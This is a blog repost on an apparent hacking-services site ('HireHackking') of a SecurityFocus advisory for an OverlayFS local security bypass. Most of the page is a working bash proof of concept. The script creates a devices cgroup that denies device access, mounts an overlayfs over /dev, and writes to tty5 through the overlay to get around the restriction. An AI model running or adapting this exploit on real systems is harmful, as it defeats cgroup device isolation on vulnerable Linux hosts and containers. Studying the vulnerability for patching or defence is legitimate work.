Jump to content

Hacker Technology

A group blog by Leader in Hacker Website - Providing Professional Ethical Hacking Services

  • Entries

    16114

  • Comments

    7952

  • Views

    863561793

Contributors to this blog

  • HireHackking 16114

About this blog

Hacking techniques include penetration testing, network security, reverse cracking, malware analysis, vulnerability exploitation, encryption cracking, social engineering, etc., used to identify and fix security flaws in systems.

HireHackking 
#source: https://www.securityfocus.com/bid/51529/info

#OverlayFS is prone to a local security-bypass vulnerability.

#Attackers can exploit this issue to bypass security restrictions and perform unauthorized actions. 



#!/bin/bash

ddir=`cat /proc/self/mountinfo | grep cgroup | grep devices | awk '{ print $5 }'`
if [ "x$ddir" = "x" ]; then
 echo "couldn't find devices cgroup mountpoint"
 exit 1
fi

# create new cgroup
ndir=`mktemp -d --tmpdir=$ddir exploit-XXXX`

# create a directory onto which we mount the overlay
odir=`mktemp -d --tmpdir=/mnt exploit-XXXX`

# create the directory to be the overlay dir (where changes
# will be written)
udir=`mktemp -d --tmpdir=/tmp exploit-XXX`

mount -t overlayfs -oupperdir=$udir,lowerdir=/dev none $odir
echo $$ > $ndir/tasks
# deny all device actions
echo a > $ndir/devices.deny
# but allow mknod of tty7, bc we have to mknod it in the writeable
# overlay
echo "c 4:5 m" > $ndir/devices.allow
echo "devices.list: XXXXXXXXXXXXXXX"
cat $ndir/devices.list
echo "XXXXXXXXXXXX"

# try writing to /dev/tty5 - not allowed
echo x > /dev/tty5
echo "write to /dev/tty5 returned $?"

# try writing to tty5 on the overlayfs - SHOULD not be allowed
echo y > $odir/tty5
echo "write to $odir/tty5 returned $?"

umount $odir
rmdir $odir
rm -rf $udir

# move ourselves back to root cgroup (else we can't delete the temp one
# bc it's occupied - by us)
echo $$ > $ddir/tasks
rmdir $ndir